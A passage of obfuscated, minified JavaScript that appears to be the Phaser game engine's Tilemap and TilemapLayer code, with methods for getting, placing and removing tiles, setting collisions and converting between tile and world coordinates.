(_0x2dd651['ForEachTile'](_0x362264, _0x2ba70a, _0x357ff1, _0x3f1e87, _0x270a4a, _0x14fe7, _0x2d65eb, _0x16b0e6), this); }, 'getImageIndex': function (_0x274d17) { return this['getIndex'](this['images'], _0x274d17); }, 'getImageLayerNames': function () { return this['images'] && Array['isArray'](this['images']) ? this['images']['map'](function (_0x46fb1c) { return _0x46fb1c['name']; }) : []; }, 'getIndex': function (_0xb13e74, _0x2cd973) { for (var _0x493f17 = 0x0; _0x493f17 < _0xb13e74['length']; _0x493f17++)if (_0xb13e74[_0x493f17]['name'] === _0x2cd973) return _0x493f17; return null; }, 'getLayer': function (_0x2e831c) { var _0x309296 = this['getLayerIndex'](_0x2e831c); return null !== _0x309296 ? this['layers'][_0x309296] : null; }, 'getObjectLayer': function (_0x5825e2) { var _0x12b2d2 = this['getIndex'](this['objects'], _0x5825e2); return null !== _0x12b2d2 ? this['objects'][_0x12b2d2] : null; }, 'getObjectLayerNames': function () { return this['objects'] && Array['isArray'](this['objects']) ? this['objects']['map'](function (_0x5642d7) { return _0x5642d7['name']; }) : []; }, 'getLayerIndex': function (_0x40c0ec) { return void 0x0 === _0x40c0ec ? this['currentLayerIndex'] : 'string' == typeof _0x40c0ec ? this['getLayerIndexByName'](_0x40c0ec) : 'number' == typeof _0x40c0ec && _0x40c0ec < this['layers']['length'] ? _0x40c0ec : _0x40c0ec instanceof _0x585f59 && _0x40c0ec['tilemap'] === this ? _0x40c0ec['layerIndex'] : null; }, 'getLayerIndexByName': function (_0x45edcb) { return this['getIndex'](this['layers'], _0x45edcb); }, 'getTileAt': function (_0x41d5a8, _0x27a16e, _0x42ab6d, _0x4b6a24) { return null === (_0x4b6a24 = this['getLayer'](_0x4b6a24)) ? null : _0x2dd651['GetTileAt'](_0x41d5a8, _0x27a16e, _0x42ab6d, _0x4b6a24); }, 'getTileAtWorldXY': function (_0x5a0ff3, _0xb02406, _0x2a2b52, _0x594f05, _0x427144) { return null === (_0x427144 = this['getLayer'](_0x427144)) ? null : _0x2dd651['GetTileAtWorldXY'](_0x5a0ff3, _0xb02406, _0x2a2b52, _0x594f05, _0x427144); }, 'getTileLayerNames': function () { return this['layers'] && Array['isArray'](this['layers']) ? this['layers']['map'](function (_0x78e381) { return _0x78e381['name']; }) : []; }, 'getTilesWithin': function (_0x1da02f, _0x1e3596, _0x332240, _0x4a1eb9, _0x3c1632, _0x33bdc4) { return null === (_0x33bdc4 = this['getLayer'](_0x33bdc4)) ? null : _0x2dd651['GetTilesWithin'](_0x1da02f, _0x1e3596, _0x332240, _0x4a1eb9, _0x3c1632, _0x33bdc4); }, 'getTilesWithinShape': function (_0x49a0cb, _0xf1230b, _0x275922, _0x108dc6) { return null === (_0x108dc6 = this['getLayer'](_0x108dc6)) ? null : _0x2dd651['GetTilesWithinShape'](_0x49a0cb, _0xf1230b, _0x275922, _0x108dc6); }, 'getTilesWithinWorldXY': function (_0x227e35, _0x35549d, _0x49a75d, _0x5af554, _0x40996e, _0x78c4ad, _0x4b3ff0) { return null === (_0x4b3ff0 = this['getLayer'](_0x4b3ff0)) ? null : _0x2dd651['GetTilesWithinWorldXY'](_0x227e35, _0x35549d, _0x49a75d, _0x5af554, _0x40996e, _0x78c4ad, _0x4b3ff0); }, 'getTileset': function (_0x161ea8) { var _0x38840f = this['getIndex'](this['tilesets'], _0x161ea8); return null !== _0x38840f ? this['tilesets'][_0x38840f] : null; }, 'getTilesetIndex': function (_0x422288) { return this['getIndex'](this['tilesets'], _0x422288); }, 'hasTileAt': function (_0xb1b820, _0x4e6073, _0x2d2b97) { return null === (_0x2d2b97 = this['getLayer'](_0x2d2b97)) ? null : _0x2dd651['HasTileAt'](_0xb1b820, _0x4e6073, _0x2d2b97); }, 'hasTileAtWorldXY': function (_0x2fcef0, _0x5817fc, _0x2240e2, _0x13de6c) { return null === (_0x13de6c = this['getLayer'](_0x13de6c)) ? null : _0x2dd651['HasTileAtWorldXY'](_0x2fcef0, _0x5817fc, _0x2240e2, _0x13de6c); }, 'layer': { 'get': function () { return this['layers'][this['currentLayerIndex']]; }, 'set': function (_0x28de8b) { this['setLayer'](_0x28de8b); } }, 'putTileAt': function (_0x2383f9, _0x2c2015, _0x27a0ff, _0x142243, _0x1aaf72) { return void 0x0 === _0x142243 && (_0x142243 = !0x0), null === (_0x1aaf72 = this['getLayer'](_0x1aaf72)) ? null : _0x2dd651['PutTileAt'](_0x2383f9, _0x2c2015, _0x27a0ff, _0x142243, _0x1aaf72); }, 'putTileAtWorldXY': function (_0x4647fb, _0x39aabc, _0x3b85d5, _0x1ba25d, _0x3912bc, _0x3dc09d) { return void 0x0 === _0x1ba25d && (_0x1ba25d = !0x0), null === (_0x3dc09d = this['getLayer'](_0x3dc09d)) ? null : _0x2dd651['PutTileAtWorldXY'](_0x4647fb, _0x39aabc, _0x3b85d5, _0x1ba25d, _0x3912bc, _0x3dc09d); }, 'putTilesAt': function (_0x43168a, _0x46e396, _0x2582cd, _0x38692a, _0x104396) { return void 0x0 === _0x38692a && (_0x38692a = !0x0), null === (_0x104396 = this['getLayer'](_0x104396)) ? null : (_0x2dd651['PutTilesAt'](_0x43168a, _0x46e396, _0x2582cd, _0x38692a, _0x104396), this); }, 'randomize': function (_0x335e9a, _0x2526c1, _0x1c5ce2, _0x38ca75, _0x4dc183, _0x5d8d92) { return null === (_0x5d8d92 = this['getLayer'](_0x5d8d92)) ? null : (_0x2dd651['Randomize'](_0x335e9a, _0x2526c1, _0x1c5ce2, _0x38ca75, _0x4dc183, _0x5d8d92), this); }, 'calculateFacesAt': function (_0x3bd43c, _0x124c9d, _0x586bdf) { return null === (_0x586bdf = this['getLayer'](_0x586bdf)) ? null : (_0x2dd651['CalculateFacesAt'](_0x3bd43c, _0x124c9d, _0x586bdf), this); }, 'calculateFacesWithin': function (_0x1c9cc7, _0x3db553, _0x30e8cf, _0x2a6b37, _0x2ecdfa) { return null === (_0x2ecdfa = this['getLayer'](_0x2ecdfa)) ? null : (_0x2dd651['CalculateFacesWithin'](_0x1c9cc7, _0x3db553, _0x30e8cf, _0x2a6b37, _0x2ecdfa), this); }, 'removeLayer': function (_0x5a371b) { var _0x4a78a0 = this['getLayerIndex'](_0x5a371b); if (null !== _0x4a78a0) { _0x22b79b(this['layers'], _0x4a78a0); for (var _0x389341 = _0x4a78a0; _0x389341 < this['layers']['length']; _0x389341++)this['layers'][_0x389341]['tilemapLayer'] && this['layers'][_0x389341]['tilemapLayer']['layerIndex']--; return this['currentLayerIndex'] === _0x4a78a0 && (this['currentLayerIndex'] = 0x0), this; } return null; }, 'destroyLayer': function (_0x27cf1b) { var _0x2f8ba2 = this['getLayerIndex'](_0x27cf1b); return null !== _0x2f8ba2 ? ((_0x27cf1b = this['layers'][_0x2f8ba2])['tilemapLayer']['destroy'](), _0x22b79b(this['layers'], _0x2f8ba2), this['currentLayerIndex'] === _0x2f8ba2 && (this['currentLayerIndex'] = 0x0), this) : null; }, 'removeAllLayers': function () { for (var _0x22497a = this['layers'], _0x608598 = 0x0; _0x608598 < _0x22497a['length']; _0x608598++)_0x22497a[_0x608598]['tilemapLayer'] && _0x22497a[_0x608598]['tilemapLayer']['destroy'](!0x1); return _0x22497a['length'] = 0x0, this['currentLayerIndex'] = 0x0, this; }, 'removeTile': function (_0x75fba, _0x4424b4, _0x5b0f07) { void 0x0 === _0x4424b4 && (_0x4424b4 = -0x1), void 0x0 === _0x5b0f07 && (_0x5b0f07 = !0x0); var _0x28e84f = []; Array['isArray'](_0x75fba) || (_0x75fba = [_0x75fba]); for (var _0x28de40 = 0x0; _0x28de40 < _0x75fba['length']; _0x28de40++) { var _0x58942d = _0x75fba[_0x28de40]; _0x28e84f['push'](this['removeTileAt'](_0x58942d['x'], _0x58942d['y'], !0x0, _0x5b0f07, _0x58942d['tilemapLayer'])), _0x4424b4 > -0x1 && this['putTileAt'](_0x4424b4, _0x58942d['x'], _0x58942d['y'], _0x5b0f07, _0x58942d['tilemapLayer']); } return _0x28e84f; }, 'removeTileAt': function (_0x408046, _0xe17aa8, _0x2411de, _0x1a5a08, _0x48e446) { return void 0x0 === _0x2411de && (_0x2411de = !0x0), void 0x0 === _0x1a5a08 && (_0x1a5a08 = !0x0), null === (_0x48e446 = this['getLayer'](_0x48e446)) ? null : _0x2dd651['RemoveTileAt'](_0x408046, _0xe17aa8, _0x2411de, _0x1a5a08, _0x48e446); }, 'removeTileAtWorldXY': function (_0x394c7f, _0x57f6e6, _0x520cf2, _0x1194c3, _0xbe113f, _0x4e5b10) { return void 0x0 === _0x520cf2 && (_0x520cf2 = !0x0), void 0x0 === _0x1194c3 && (_0x1194c3 = !0x0), null === (_0x4e5b10 = this['getLayer'](_0x4e5b10)) ? null : _0x2dd651['RemoveTileAtWorldXY'](_0x394c7f, _0x57f6e6, _0x520cf2, _0x1194c3, _0xbe113f, _0x4e5b10); }, 'renderDebug': function (_0x59316d, _0x2f8f81, _0xec43c0) { return null === (_0xec43c0 = this['getLayer'](_0xec43c0)) ? null : (this['orientation'] === _0x410ef1['ORTHOGONAL'] && _0x2dd651['RenderDebug'](_0x59316d, _0x2f8f81, _0xec43c0), this); }, 'renderDebugFull': function (_0x2cc355, _0x2febb7) { for (var _0x58e2ff = this['layers'], _0x198e47 = 0x0; _0x198e47 < _0x58e2ff['length']; _0x198e47++)_0x2dd651['RenderDebug'](_0x2cc355, _0x2febb7, _0x58e2ff[_0x198e47]); return this; }, 'replaceByIndex': function (_0x9ae116, _0x4f42d3, _0x5e40da, _0x488c60, _0xae3816, _0x1a73a4, _0x2c2789) { return null === (_0x2c2789 = this['getLayer'](_0x2c2789)) ? null : (_0x2dd651['ReplaceByIndex'](_0x9ae116, _0x4f42d3, _0x5e40da, _0x488c60, _0xae3816, _0x1a73a4, _0x2c2789), this); }, 'setCollision': function (_0x34a318, _0x196eab, _0x1d3cd0, _0x18d698, _0x4cc7b7) { return void 0x0 === _0x196eab && (_0x196eab = !0x0), void 0x0 === _0x1d3cd0 && (_0x1d3cd0 = !0x0), void 0x0 === _0x4cc7b7 && (_0x4cc7b7 = !0x0), null === (_0x18d698 = this['getLayer'](_0x18d698)) ? null : (_0x2dd651['SetCollision'](_0x34a318, _0x196eab, _0x1d3cd0, _0x18d698, _0x4cc7b7), this); }, 'setCollisionBetween': function (_0x193c4d, _0x107950, _0x2fa856, _0x48a8ce, _0x559bb4) { return void 0x0 === _0x2fa856 && (_0x2fa856 = !0x0), void 0x0 === _0x48a8ce && (_0x48a8ce = !0x0), null === (_0x559bb4 = this['getLayer'](_0x559bb4)) ? null : (_0x2dd651['SetCollisionBetween'](_0x193c4d, _0x107950, _0x2fa856, _0x48a8ce, _0x559bb4), this); }, 'setCollisionByProperty': function (_0x14f4ab, _0x2faf1a, _0x5009b2, _0x5b458d) { return void 0x0 === _0x2faf1a && (_0x2faf1a = !0x0), void 0x0 === _0x5009b2 && (_0x5009b2 = !0x0), null === (_0x5b458d = this['getLayer'](_0x5b458d)) ? null : (_0x2dd651['SetCollisionByProperty'](_0x14f4ab, _0x2faf1a, _0x5009b2, _0x5b458d), this); }, 'setCollisionByExclusion': function (_0x272a58, _0x342608, _0x2e3322, _0x6a8f77) { return void 0x0 === _0x342608 && (_0x342608 = !0x0), void 0x0 === _0x2e3322 && (_0x2e3322 = !0x0), null === (_0x6a8f77 = this['getLayer'](_0x6a8f77)) ? null : (_0x2dd651['SetCollisionByExclusion'](_0x272a58, _0x342608, _0x2e3322, _0x6a8f77), this); }, 'setCollisionFromCollisionGroup': function (_0x517d9a, _0x3014ed, _0x280716) { return void 0x0 === _0x517d9a && (_0x517d9a = !0x0), void 0x0 === _0x3014ed && (_0x3014ed = !0x0), null === (_0x280716 = this['getLayer'](_0x280716)) ? null : (_0x2dd651['SetCollisionFromCollisionGroup'](_0x517d9a, _0x3014ed, _0x280716), this); }, 'setTileIndexCallback': function (_0x496aaa, _0x2e0625, _0x267902, _0x5bcbd5) { return null === (_0x5bcbd5 = this['getLayer'](_0x5bcbd5)) ? null : (_0x2dd651['SetTileIndexCallback'](_0x496aaa, _0x2e0625, _0x267902, _0x5bcbd5), this); }, 'setTileLocationCallback': function (_0x2b1bc7, _0x35ad96, _0x3a910a, _0x3c090d, _0x443c7c, _0x20f3b4, _0x194be1) { return null === (_0x194be1 = this['getLayer'](_0x194be1)) ? null : (_0x2dd651['SetTileLocationCallback'](_0x2b1bc7, _0x35ad96, _0x3a910a, _0x3c090d, _0x443c7c, _0x20f3b4, _0x194be1), this); }, 'setLayer': function (_0x3353fd) { var _0x597ea7 = this['getLayerIndex'](_0x3353fd); return null !== _0x597ea7 && (this['currentLayerIndex'] = _0x597ea7), this; }, 'setBaseTileSize': function (_0xc89439, _0x1a0356) { this['tileWidth'] = _0xc89439, this['tileHeight'] = _0x1a0356, this['widthInPixels'] = this['width'] * _0xc89439, this['heightInPixels'] = this['height'] * _0x1a0356; for (var _0x1e7381 = 0x0; _0x1e7381 < this['layers']['length']; _0x1e7381++) { this['layers'][_0x1e7381]['baseTileWidth'] = _0xc89439, this['layers'][_0x1e7381]['baseTileHeight'] = _0x1a0356; for (var _0x251dab = this['layers'][_0x1e7381]['data'], _0x534831 = this['layers'][_0x1e7381]['width'], _0x71ba7b = this['layers'][_0x1e7381]['height'], _0x4227b9 = 0x0; _0x4227b9 < _0x71ba7b; _0x4227b9++)for (var _0x22eaac = 0x0; _0x22eaac < _0x534831; _0x22eaac++) { var _0x1dce98 = _0x251dab[_0x4227b9][_0x22eaac]; null !== _0x1dce98 && _0x1dce98['setSize'](void 0x0, void 0x0, _0xc89439, _0x1a0356); } } return this; }, 'setLayerTileSize': function (_0x3dac4f, _0x108cd3, _0x2092e0) { if (null === (_0x2092e0 = this['getLayer'](_0x2092e0))) return this; _0x2092e0['tileWidth'] = _0x3dac4f, _0x2092e0['tileHeight'] = _0x108cd3; for (var _0xedf0a0 = _0x2092e0['data'], _0x457b9d = _0x2092e0['width'], _0x218830 = _0x2092e0['height'], _0x244a61 = 0x0; _0x244a61 < _0x218830; _0x244a61++)for (var _0x3155f2 = 0x0; _0x3155f2 < _0x457b9d; _0x3155f2++) { var _0x338567 = _0xedf0a0[_0x244a61][_0x3155f2]; null !== _0x338567 && _0x338567['setSize'](_0x3dac4f, _0x108cd3); } return this; }, 'shuffle': function (_0x1d65a0, _0x1d7d0d, _0x19b77a, _0x11cc11, _0x3cf84b) { return null === (_0x3cf84b = this['getLayer'](_0x3cf84b)) ? null : (_0x2dd651['Shuffle'](_0x1d65a0, _0x1d7d0d, _0x19b77a, _0x11cc11, _0x3cf84b), this); }, 'swapByIndex': function (_0x2c11cd, _0x4b9431, _0x3bd2e0, _0x33e127, _0x91d7a0, _0x592fa9, _0x459227) { return null === (_0x459227 = this['getLayer'](_0x459227)) ? null : (_0x2dd651['SwapByIndex'](_0x2c11cd, _0x4b9431, _0x3bd2e0, _0x33e127, _0x91d7a0, _0x592fa9, _0x459227), this); }, 'tileToWorldX': function (_0x1e594c, _0x5d55a3, _0x26dfd3) { return null === (_0x26dfd3 = this['getLayer'](_0x26dfd3)) ? null : this['_convert']['TileToWorldX'](_0x1e594c, _0x5d55a3, _0x26dfd3); }, 'tileToWorldY': function (_0x529f8a, _0x4c6a28, _0x221453) { return null === (_0x221453 = this['getLayer'](_0x221453)) ? null : this['_convert']['TileToWorldY'](_0x529f8a, _0x4c6a28, _0x221453); }, 'tileToWorldXY': function (_0x1d887f, _0x1117fa, _0x2a965e, _0x5eb99a, _0x299d7a) { return null === (_0x299d7a = this['getLayer'](_0x299d7a)) ? null : this['_convert']['TileToWorldXY'](_0x1d887f, _0x1117fa, _0x2a965e, _0x5eb99a, _0x299d7a); }, 'getTileCorners': function (_0x44cade, _0xd1f04a, _0x5eb321, _0x1e6ff0) { return null === (_0x1e6ff0 = this['getLayer'](_0x1e6ff0)) ? null : this['_convert']['GetTileCorners'](_0x44cade, _0xd1f04a, _0x5eb321, _0x1e6ff0); }, 'weightedRandomize': function (_0x46461e, _0x33a748, _0x5962df, _0x217797, _0x22d7f7, _0x1c4332) { return null === (_0x1c4332 = this['getLayer'](_0x1c4332)) ? null : (_0x2dd651['WeightedRandomize'](_0x33a748, _0x5962df, _0x217797, _0x22d7f7, _0x46461e, _0x1c4332), this); }, 'worldToTileX': function (_0x2814e2, _0x3640da, _0x1cd3ee, _0x48c7b8) { return null === (_0x48c7b8 = this['getLayer'](_0x48c7b8)) ? null : this['_convert']['WorldToTileX'](_0x2814e2, _0x3640da, _0x1cd3ee, _0x48c7b8); }, 'worldToTileY': function (_0x325756, _0x600bf9, _0x3cfc3b, _0x180018) { return null === (_0x180018 = this['getLayer'](_0x180018)) ? null : this['_convert']['WorldToTileY'](_0x325756, _0x600bf9, _0x3cfc3b, _0x180018); }, 'worldToTileXY': function (_0x363f7b, _0xa9c2db, _0x4f5c54, _0x207aaf, _0x49d562, _0x28d505) { return null === (_0x28d505 = this['getLayer'](_0x28d505)) ? null : this['_convert']['WorldToTileXY'](_0x363f7b, _0xa9c2db, _0x4f5c54, _0x207aaf, _0x49d562, _0x28d505); }, 'destroy': function () { this['removeAllLayers'](), this['tiles']['length'] = 0x0, this['tilesets']['length'] = 0x0, this['objects']['length'] = 0x0, this['scene'] = null; } }); _0x27cee6['exports'] = _0x3a12c0; }, 0xb373: (_0x3be1ea, _0x34aa93, _0x44635b) => { var _0xde57a0 = _0x44635b(0xae3b), _0x1d2f6a = _0x44635b(0x7cf5); _0xde57a0['register']('tilemap', function (_0x4ae7ce) { var _0x3785fe = void 0x0 !== _0x4ae7ce ? _0x4ae7ce : {}; return _0x1d2f6a(this['scene'], _0x3785fe['key'], _0x3785fe['tileWidth'], _0x3785fe['tileHeight'], _0x3785fe['width'], _0x3785fe['height'], _0x3785fe['data'], _0x3785fe['insertNull']); }); }, 0xb3cd: (_0x265445, _0x233aac, _0xbd2fd8) => { var _0x253f4e = _0xbd2fd8(0x9a05), _0x133c3b = _0xbd2fd8(0x7cf5); _0x253f4e['register']('tilemap', function (_0x3cb5ad, _0xc8d7d1, _0x1a3374, _0x431e44, _0x9f446c, _0x36915c, _0xcc59d) { return null === _0x3cb5ad && (_0x3cb5ad = void 0x0), null === _0xc8d7d1 && (_0xc8d7d1 = void 0x0), null === _0x1a3374 && (_0x1a3374 = void 0x0), null === _0x431e44 && (_0x431e44 = void 0x0), null === _0x9f446c && (_0x9f446c = void 0x0), _0x133c3b(this['scene'], _0x3cb5ad, _0xc8d7d1, _0x1a3374, _0x431e44, _0x9f446c, _0x36915c, _0xcc59d); }); }, 0x4fda: (_0x25a6e0, _0x56574c, _0x275dff) => { var _0x534fe3 = _0x275dff(0x145db), _0xf28d9e = _0x275dff(0x13235), _0x4a3cf9 = _0x275dff(0x7aa9), _0x5da072 = _0x275dff(0x1759b), _0x15b3c5 = _0x275dff(0x13cbe), _0x42e5a4 = _0x275dff(0x4b12), _0x4f4f6a = _0x275dff(0x65f3), _0x41ec17 = new _0x534fe3({ 'Extends': _0x5da072, 'Mixins': [_0x4a3cf9['Alpha'], _0x4a3cf9['BlendMode'], _0x4a3cf9['ComputedSize'], _0x4a3cf9['Depth'], _0x4a3cf9['Flip'], _0x4a3cf9['GetBounds'], _0x4a3cf9['Mask'], _0x4a3cf9['Origin'], _0x4a3cf9['Pipeline'], _0x4a3cf9['PostPipeline'], _0x4a3cf9['Transform'], _0x4a3cf9['Visible'], _0x4a3cf9['ScrollFactor'], _0xf28d9e, _0x42e5a4], 'initialize': function (_0x3f54d6, _0x5cdcf4, _0xac7afc, _0x4763d4, _0x345e10, _0x5e1e07) { _0x5da072['call'](this, _0x3f54d6, 'TilemapLayer'), this['isTilemap'] = !0x0, this['tilemap'] = _0x5cdcf4, this['layerIndex'] = _0xac7afc, this['layer'] = _0x5cdcf4['layers'][_0xac7afc], this['layer']['tilemapLayer'] = this, this['tileset'] = [], this['tilesDrawn'] = 0x0, this['tilesTotal'] = this['layer']['width'] * this['layer']['height'], this['culledTiles'] = [], this['skipCull'] = !0x1, this['cullPaddingX'] = 0x1, this['cullPaddingY'] = 0x1, this['cullCallback'] = _0x15b3c5['GetCullTilesFunction'](this['layer']['orientation']), this['_renderOrder'] = 0x0, this['gidMap'] = [], this['tempVec'] = new _0x4f4f6a(), this['collisionCategory'] = 0x1, this['collisionMask'] = 0x1, this['setTilesets'](_0x4763d4), this['setAlpha'](this['layer']['alpha']), this['setPosition'](_0x345e10, _0x5e1e07), this['setOrigin'](0x0, 0x0), this['setSize'](_0x5cdcf4['tileWidth'] * this['layer']['width'], _0x5cdcf4['tileHeight'] * this['layer']['height']), this['initPipeline'](), this['initPostPipeline'](!0x1); }, 'setTilesets': function (_0x339d34) { var _0x115e29 = [], _0xe30c5f = [], _0x26661e = this['tilemap']; Array['isArray'](_0x339d34) || (_0x339d34 = [_0x339d34]); for (var _0x37d459 = 0x0; _0x37d459 < _0x339d34['length']; _0x37d459++) { var _0x35502a = _0x339d34[_0x37d459]; if ('string' == typeof _0x35502a && (_0x35502a = _0x26661e['getTileset'](_0x35502a)), _0x35502a) { _0xe30c5f['push'](_0x35502a); for (var _0x2cd290 = _0x35502a['firstgid'], _0x53ec42 = 0x0; _0x53ec42 < _0x35502a['total']; _0x53ec42++)_0x115e29[_0x2cd290 + _0x53ec42] = _0x35502a; } } this['gidMap'] = _0x115e29, this['tileset'] = _0xe30c5f; }, 'setRenderOrder': function (_0x47fc8a) { return 'string' == typeof _0x47fc8a && (_0x47fc8a = ['right-down', 'left-down', 'right-up', 'left-up']['indexOf'](_0x47fc8a)), _0x47fc8a >= 0x0 && _0x47fc8a < 0x4 && (this['_renderOrder'] = _0x47fc8a), this; }, 'calculateFacesAt': function (_0x43fd36, _0x422e6d) { return _0x15b3c5['CalculateFacesAt'](_0x43fd36, _0x422e6d, this['layer']), this; }, 'calculateFacesWithin': function (_0x3700b8, _0x251c4b, _0x57e905, _0x5a7e4b) { return _0x15b3c5['CalculateFacesWithin'](_0x3700b8, _0x251c4b, _0x57e905, _0x5a7e4b, this['layer']), this; }, 'createFromTiles': function (_0x318183, _0x3e0d70, _0x21d71a, _0x586813, _0x1d6579) { return _0x15b3c5['CreateFromTiles'](_0x318183, _0x3e0d70, _0x21d71a, _0x586813, _0x1d6579, this['layer']); }, 'cull': function (_0x1760e8) { return this['cullCallback'](this['layer'], _0x1760e8, this['culledTiles'], this['_renderOrder']); }, 'copy': function (_0x267f95, _0xfb36d8, _0x4727e2, _0x4cc84c, _0x46f922, _0x826ff4, _0x2f00f6) { return _0x15b3c5['Copy'](_0x267f95, _0xfb36d8, _0x4727e2, _0x4cc84c, _0x46f922, _0x826ff4, _0x2f00f6, this['layer']), this; }, 'fill': function (_0x50c0d4, _0x1e88d2, _0x295d19, _0x5955f0, _0x15021c, _0x261e1a) { return _0x15b3c5['Fill'](_0x50c0d4, _0x1e88d2, _0x295d19, _0x5955f0, _0x15021c, _0x261e1a, this['layer']), this; }, 'filterTiles': function (_0x5e3110, _0x2f09ee, _0xe37aea, _0x223fd3, _0x567822, _0x491627, _0x50c732) { return _0x15b3c5['FilterTiles'](_0x5e3110, _0x2f09ee, _0xe37aea, _0x223fd3, _0x567822, _0x491627, _0x50c732, this['layer']); }, 'findByIndex': function (_0x1da34a, _0x214099, _0x9d4a98) { return _0x15b3c5['FindByIndex'](_0x1da34a, _0x214099, _0x9d4a98, this['layer']); }, 'findTile': function (_0x5c0776, _0x3a5c83, _0x2d000e, _0x39a08f, _0x3f44cd, _0x3e6f43, _0x995e67) { return _0x15b3c5['FindTile'](_0x5c0776, _0x3a5c83, _0x2d000e, _0x39a08f, _0x3f44cd, _0x3e6f43, _0x995e67, this['layer']); }, 'forEachTile': function (_0x133ba3, _0x2a319a, _0x257e1d, _0x5390fc, _0x3e9f1b, _0x2a5efa, _0x187b34) { return _0x15b3c5['ForEachTile'](_0x133ba3, _0x2a319a, _0x257e1d, _0x5390fc, _0x3e9f1b, _0x2a5efa, _0x187b34, this['layer']), this; }, 'setTint': function (_0x50cc81, _0x5aa2a8, _0x4d3f07, _0x1d0b55, _0x72ace0, _0x28af88) { return void 0x0 === _0x50cc81 && (_0x50cc81 = 0xffffff), this['forEachTile'](function (_0x4dc375) { _0x4dc375['tint'] = _0x50cc81, _0x4dc375['tintFill'] = !0x1; }, this, _0x5aa2a8, _0x4d3f07, _0x1d0b55, _0x72ace0, _0x28af88); }, 'setTintFill': function (_0x12205d, _0x489522, _0x2dc9a6, _0x5d0dee, _0x44c11b, _0x539d06) { return void 0x0 === _0x12205d && (_0x12205d = 0xffffff), this['forEachTile'](function (_0x24bac1) { _0x24bac1['tint'] = _0x12205d, _0x24bac1['tintFill'] = !0x0; }, this, _0x489522, _0x2dc9a6, _0x5d0dee, _0x44c11b, _0x539d06); }, 'getTileAt': function (_0x4f3dfa, _0x1a895f, _0x1b3dda) { return _0x15b3c5['GetTileAt'](_0x4f3dfa, _0x1a895f, _0x1b3dda, this['layer']); }, 'getTileAtWorldXY': function (_0x5a7b96, _0x36ca7f, _0x1baed9, _0x4851ce) { return _0x15b3c5['GetTileAtWorldXY'](_0x5a7b96, _0x36ca7f, _0x1baed9, _0x4851ce, this['layer']); }, 'getIsoTileAtWorldXY': function (_0x13517c, _0x530a9d, _0x1c9a40, _0x242cd0, _0xdce5d1) { void 0x0 === _0x1c9a40 && (_0x1c9a40 = !0x0); var _0x5464ff = this['tempVec']; return _0x15b3c5['IsometricWorldToTileXY'](_0x13517c, _0x530a9d, !0x0, _0x5464ff, _0xdce5d1, this['layer'], _0x1c9a40), this['getTileAt'](_0x5464ff['x'], _0x5464ff['y'], _0x242cd0); }, 'getTilesWithin': function (_0x5459cc, _0x3ccf76, _0x33072b, _0x564bb4, _0x5b45d6) { return _0x15b3c5['GetTilesWithin'](_0x5459cc, _0x3ccf76, _0x33072b, _0x564bb4, _0x5b45d6, this['layer']); }, 'getTilesWithinShape': function (_0x185952, _0x5f2a38, _0x59c5dc) { return _0x15b3c5['GetTilesWithinShape'](_0x185952, _0x5f2a38, _0x59c5dc, this['layer']); }, 'getTilesWithinWorldXY': function (_0x56cfb4, _0x1e93a8, _0x78bb54, _0x1a160a, _0x210820, _0x409937) { return _0x15b3c5['GetTilesWithinWorldXY'](_0x56cfb4, _0x1e93a8, _0x78bb54, _0x1a160a, _0x210820, _0x409937, this['layer']); }, 'hasTileAt': function (_0x28f45e, _0x27b8dd) { return _0x15b3c5['HasTileAt'](_0x28f45e, _0x27b8dd, this['layer']); }, 'hasTileAtWorldXY': function (_0x2ef418, _0x5e3f54, _0x4c4643) { return _0x15b3c5['HasTileAtWorldXY'](_0x2ef418, _0x5e3f54, _0x4c4643, this['layer']); }, 'putTileAt': function (_0x528626, _0x36893e, _0x32edc6, _0xa4c79d) { return _0x15b3c5['PutTileAt'](_0x528626, _0x36893e, _0x32edc6, _0xa4c79d, this['layer']); }, 'putTileAtWorldXY': function (_0x4e4ff6, _0x814b31, _0x3bbd8e, _0x428474, _0x28cd17) { return _0x15b3c5['PutTileAtWorldXY'](_0x4e4ff6, _0x814b31, _0x3bbd8e, _0x428474, _0x28cd17, this['layer']); }, 'putTilesAt': function (_0x2b96d0, _0x25f6ea, _0x118841, _0x5210f8) { return _0x15b3c5['PutTilesAt'](_0x2b96d0, _0x25f6ea, _0x118841, _0x5210f8, this['layer']), this; }, 'randomize': function (_0x4b8c0b, _0x21128b, _0x1f121d, _0x3bc07a, _0x3156aa) { return _0x15b3c5['Randomize'](_0x4b8c0b, _0x21128b, _0x1f121d, _0x3bc07a, _0x3156aa, this['layer']), this; }, 'removeTileAt': function (_0x1223c6, _0x290d66, _0x4a1e5d, _0x2ee24b) { return _0x15b3c5['RemoveTileAt'](_0x1223c6, _0x290d66, _0x4a1e5d, _0x2ee24b, this['layer']); }, 'removeTileAtWorldXY': function (_0x451d35, _0x2c2282, _0x736732, _0x55ad16, _0x2565d5) { return _0x15b3c5['RemoveTileAtWorldXY'](_0x451d35, _0x2c2282, _0x736732, _0x55ad16, _0x2565d5, this['layer']); }, 'renderDebug': function (_0x354c17, _0x384078) { return _0x15b3c5['RenderDebug'](_0x354c17, _0x384078, this['layer']), this; }, 'replaceByIndex': function (_0xd2bae8, _0x1d9363, _0x180261, _0x529762, _0x35f881, _0xcd6c21) { return _0x15b3c5['ReplaceByIndex'](_0xd2bae8, _0x1d9363, _0x180261, _0x529762, _0x35f881, _0xcd6c21, this['layer']), this; }, 'setSkipCull': function (_0x416679) { return void 0x0 === _0x416679 && (_0x416679 = !0x0), this['skipCull'] = _0x416679, this; }, 'setCullPadding': function (_0x4569cc, _0xf7f6e1) { return void 0x0 === _0x4569cc && (_0x4569cc = 0x1), void 0x0 === _0xf7f6e1 && (_0xf7f6e1 = 0x1), this['cullPaddingX'] = _0x4569cc, this['cullPaddingY'] = _0xf7f6e1, this; }, 'setCollision': function (_0x138aad, _0x4b07ef, _0x3b4217, _0x411e69) { return _0x15b3c5['SetCollision'](_0x138aad, _0x4b07ef, _0x3b4217, this['layer'], _0x411e69), this; }, 'setCollisionBetween': function (_0x2ca86b, _0x4486bb, _0x1c170b, _0x14af5a) { return _0x15b3c5['SetCollisionBetween'](_0x2ca86b, _0x4486bb, _0x1c170b, _0x14af5a, this['layer']), this; }, 'setCollisionByProperty': function (_0x5595ab, _0x168398, _0x5d6ef3) { return _0x15b3c5['SetCollisionByProperty'](_0x5595ab, _0x168398, _0x5d6ef3, this['layer']), this; }, 'setCollisionByExclusion': function (_0x1bd71f, _0x48d513, _0x373138) { return _0x15b3c5['SetCollisionByExclusion'](_0x1bd71f, _0x48d513, _0x373138, this['layer']), this; }, 'setCollisionFromCollisionGroup': function (_0xbab5a0, _0x1b0a16) { return 